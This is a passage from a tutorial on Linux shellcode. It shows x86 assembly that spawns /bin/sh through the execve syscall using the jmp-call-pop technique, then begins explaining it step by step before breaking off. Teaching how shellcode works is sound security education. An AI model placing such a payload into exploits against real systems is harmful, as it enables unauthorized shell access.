Local shell shellcode

In this section, we will take a look at different examples of shellcode in Linux. We will start with a simple example that spawns a shell:

  jmp _end
_start:
  xor ecx,ecx
  xor eax,eax
  pop ebx     ; Load /bin/sh in ebx
  mov al, 11       ; execve syscall ID
  xor ecx,ecx      ; no arguments in ecx
  int 0x80         ; syscall
  
  mov al, 1        ; exit syscall ID
  xor ebx,ebx      ; no errors
  int 0x80         ; syscall
_end:
  call _start
  db '/bin/sh',0

Let's take a closer look at this code:

• At first, it executes the execve system call to launch a process, which in this case will be /bin/sh. This represents the shell. The execve system call's prototype looks like this:

int execve(const char *filename, char *const argv[], char *const envp[]);

• It sets the filename in ebx with /bin/sh by using the call/pop instructions to get the absolute address.
• No additional command line arguments need to be specified in this case, so ecx is set to zero (xor ecx...